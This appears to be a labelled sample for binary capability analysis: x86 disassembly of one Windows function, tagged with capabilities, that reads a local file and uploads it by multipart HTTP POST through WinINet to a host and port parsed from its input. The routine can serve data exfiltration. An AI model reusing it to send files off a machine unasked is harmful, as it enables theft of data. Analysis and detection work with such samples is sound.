Function at 0x10003d50
Capabilities:
Connect to http server
Create http request
Read and send data from client to server
Read file on windows
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4b758
call fcn.100072e0
push esi
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x288]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x288]
push edx
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 8], 0
mov ecx, dword [0x10008724]
mov dword [ebp - 0x188], ecx
mov edx, dword [0x10008728]
mov dword [ebp - 0x184], edx
mov al, byte [0x1000872c]
mov byte [ebp - 0x180], al
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov byte [ebp - 0x17c], 0
xor edx, edx
mov dword [ebp - 0x17b], edx
mov byte [ebp - 0x177], dl
mov eax, dword [ebp + 8]
push eax
push 0x10008730
call fcn.10002930
add esp, 8
mov dword [ebp - 0x4b620], eax
cmp dword [ebp - 0x4b620], 0xffffffff
jle 0x10003df8
mov ecx, dword [ebp - 0x4b620]
mov edx, dword [ebp + 8]
lea eax, [edx + ecx + 7]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
push 0x10008738
call fcn.10002930
add esp, 8
mov dword [ebp - 0x508], eax
mov edx, dword [ebp - 0x508]
add edx, 1
push edx
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x170]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, dword [ebp - 0x508]
mov eax, dword [ebp - 0x4b620]
lea ecx, [eax + edx + 7]
add ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
push 0x1000873c
call fcn.10002930
add esp, 8
mov dword [ebp - 0x4b61c], eax
mov eax, dword [ebp - 0x4b61c]
push eax
mov ecx, dword [ebp - 8]
add ecx, 1
push ecx
lea edx, [ebp - 0x17c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [ebp - 0x4b61c]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax + 1]
push edx
lea eax, [ebp - 0x2f0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x4b50c], 0
lea ecx, [ebp - 0x17c]
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov word [ebp - 0x4b618], ax
mov dword [ebp - 0x290], 1
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea edx, [ebp - 0x3f0]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0xffffffff
je 0x10003f12
push 0
lea eax, [ebp - 0x10c]
push eax
push 0x4b000
lea ecx, [ebp - 0x4b508]
push ecx
mov edx, dword [ebp - 0x3f8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x3f8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x500], 1
push str.___________________________7b4a6d158c9
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0x500]
push edx
lea eax, [ebp - 0x3f0]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.10002af0
add esp, 0xc
push eax
lea edx, [ebp - 0x4b610]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push eax
call fcn.10002a00
add esp, 4
push eax
lea ecx, [ebp - 0x4f8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x4b610]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea eax, [ebp - 0x4f8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add esi, dword [ebp - 0x10c]
add eax, esi
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x3f4], 0x4b000
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10003fca
xor eax, eax
jmp 0x100041f9
mov dword [ebp - 0x4b614], 0
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x4fc], 0
mov dword [ebp - 0x504], 0
push str.Content_Type:_multipart_form_data__boundary
lea edx, [ebp - 0x4b730]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10008798
lea eax, [ebp - 0x4b730]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push 0
push 0
push str.Upload
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x4b614], eax
push 1
push 0
push 3
push 0
push 0
mov cx, word [ebp - 0x4b618]
push ecx
lea edx, [ebp - 0x170]
push edx
mov eax, dword [ebp - 0x4b614]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x174], eax
push 0
push 0x20000000
push 0
push 0
push 0x100087a4
lea ecx, [ebp - 0x2f0]
push ecx
push 0x100087b0
mov edx, dword [ebp - 0x174]
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x28c], eax
push 0x10000000
lea eax, [ebp - 0x4b730]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [ebp - 0x4b730]
push ecx
mov edx, dword [ebp - 0x28c]
push edx
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov dword [ebp - 0x4fc], eax
push 0x28
push 0
lea eax, [ebp - 0x4b758]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x4b758], 0x28
mov ecx, dword [ebp - 0x110]
mov dword [ebp - 0x4b73c], ecx
push 1
push 0xc
push 0
lea edx, [ebp - 0x4b758]
push edx
mov eax, dword [ebp - 0x28c]
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestExA]
mov dword [ebp - 0x4fc], eax
mov dword [ebp - 0x4b624], 0
lea ecx, [ebp - 0x4b624]
push ecx
lea edx, [ebp - 0x4b610]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x4b610]
push eax
mov ecx, dword [ebp - 0x28c]
push ecx
call fcn.10003400
add esp, 0x10
mov dword [ebp - 0x4fc], eax
lea edx, [ebp - 0x4b624]
push edx
mov eax, dword [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x4b508]
push ecx
mov edx, dword [ebp - 0x28c]
push edx
call fcn.10003400
add esp, 0x10
mov dword [ebp - 0x4fc], eax
lea eax, [ebp - 0x4b624]
push eax
lea ecx, [ebp - 0x4f8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x4f8]
push edx
mov eax, dword [ebp - 0x28c]
push eax
call fcn.10003400
add esp, 0x10
mov dword [ebp - 0x4fc], eax
push 1
push 4
push 0
mov ecx, dword [ebp - 0x28c]
push ecx
call dword [sym.imp.WININET.dll_HttpEndRequestA]
mov dword [ebp - 0x4fc], eax
mov edx, dword [ebp - 0x28c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x174]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x4b614]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 4], 0
je 0x100041f3
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, dword [ebp - 0x290]
pop esi
mov esp, ebp
pop ebp
ret